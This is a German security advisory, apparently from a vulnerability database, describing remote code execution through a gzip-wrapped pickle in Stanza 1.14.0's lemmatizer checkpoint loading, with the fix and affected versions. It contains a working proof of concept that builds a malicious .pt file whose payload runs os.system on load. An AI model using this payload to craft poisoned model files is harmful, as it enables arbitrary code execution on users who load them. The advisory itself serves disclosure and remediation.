Stanza: RCE über Pickle-Deserialisierung im Lemmatizer
Übersicht
Das Laden eines von einem Angreifer bereitgestellten Lemma-.pt führt beliebigen Code im Kontext des ladenden Benutzers aus. Seit 1.14.0 speichert der Lemmatizer pos_dict als gzip-komprimiertes Pickle im Feld dicts des Checkpoints (ein bytes-Wert). torch.load(weights_only=True) behandelt bytes als primitiven Typ und leitet ihn ungeprüft weiter, sodass dessen Positivliste den internen Datenstrom nicht analysiert. Anschließend übergibt Trainer.load diese Bytes an ein uneingeschränktes pickle.loads – der einzige direkte pickle.loads-Aufruf im Code. Folglich bietet weights_only=True keinen Schutz, und das Laden des Modells führt zur Codeausführung.
Dieses Verhalten wurde durchgängig unter Stanza 1.14.0 mit PyTorch 2.13.0 und CPython 3.13.7 verifiziert: Ein manipulierter Checkpoint, dessen Payload __reduce__ den Wert (os.system, (cmd,)) zurückgibt, führte den Befehl unmittelbar beim Ladevorgang aus (die Markierungsdatei ergab uid=501(...), executed_by=...).
Nachgelagerte Anwendungen sind verwundbar, wenn sie eine Pipeline erstellen, die einen vom Aufrufer bereitgestellten Lemmatizer-Checkpoint lädt, beispielsweise über stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (oder das Laden eines nicht vertrauenswürdigen Modells über eine benutzerdefinierte Registry). Dieser Aufruf führt direkt über Trainer.load zu _unpack_pos_dict und führt das eingebettete Pickle bei der Konstruktion aus.
Verwundbarer Pfad
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
Erreichbar über die dokumentierte API:
stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load.
Jeder gemeinsam genutzte Checkpoint, jede benutzerdefinierte Registry oder ein vom Aufrufer übergebener Pfad lemma_model_path erreicht diesen Code. Für benutzerdefinierte Pfade wird keine Prüfsummenvalidierung durchgeführt (eine MD5-Prüfung existiert nur im Standard-Download-Ablauf). Die Ausführung wird beim Pipeline-Aufbau ausgelöst, noch bevor Inferenzdaten verarbeitet werden.
Hinweis: Dies ist nicht der in CVE-2026-54499 behobene weights_only=False-Fallback; der äußere Ladeprozess bleibt sicher. Das Sicherheitsrisiko besteht ausschließlich im inneren Pickle-Stream.
Minimaler Proof of Concept
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
Der PoC ruft _unpack_pos_dict direkt auf – exakt der Ausdruck bei trainer.py:378. Um diesen Pfad über stanza.Pipeline(...) zu erreichen, muss die Datei zusätzlich eine wohlgeformte config/vocab-Struktur aufweisen, damit load bis Zeile 378 ausgeführt wird (durch Quellcode-Analyse belegt); die Ausführung nach der Deserialisierung wurde zur Laufzeit bestätigt.
Behebung
Deserialisieren Sie den inneren Stream mit der RestrictedUnpickler-Logik, die das Projekt bereits in stanza/models/common/doc.py einsetzt (beschränkt auf tuple/list/dict):
from stanza.models.common.doc import RestrictedUnpickler
def _unpack_pos_dict(data):
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return RestrictedUnpickler(io.BytesIO(raw)).load()
Ein reguläres pos_dict ist ein verschachteltes {pos: {word: lemma}}-String-Mapping ohne globale Klassen- oder Funktionsdefinitionen und lädt problemlos, während ein os.system-Payload von find_class abgewiesen wird. JSON wäre gleichermaßen geeignet (alle Schlüssel/Werte sind Strings) und würde Pickle vollständig entfernen. Die Maßnahme sollte auf _unpack_pos_dict sowie zur Zukunftskompatibilität auf _pack_pos_dict angewendet werden.
Was zu tun ist
Aktualisieren Sie Stanza auf Version 1.15.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | stanza | >= 1.14.0, < 1.15.0 | 1.15.0 |
Verweise
- https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5
- https://github.com/stanfordnlp/stanza/pull/1649
- https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0
- https://github.com/stanfordnlp/stanza
- https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0
- CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-502, CWE-94- Plattform
- Python (PyPI)
- Paket
stanza- Veröffentlicht
- 03.11.2026
- Aktualisiert
- 07.11.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-gh9r-c94j-cmp5 - CC BY 4.0
Schwachstellenhistorie: stanza
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 2
- Erste → letzte
- 06.2026 11.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 2
Veröffentlichungen pro Jahr
- 2026: 2
-
Stanza: RCE über Pickle-Deserialisierung im Lemmatizer dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.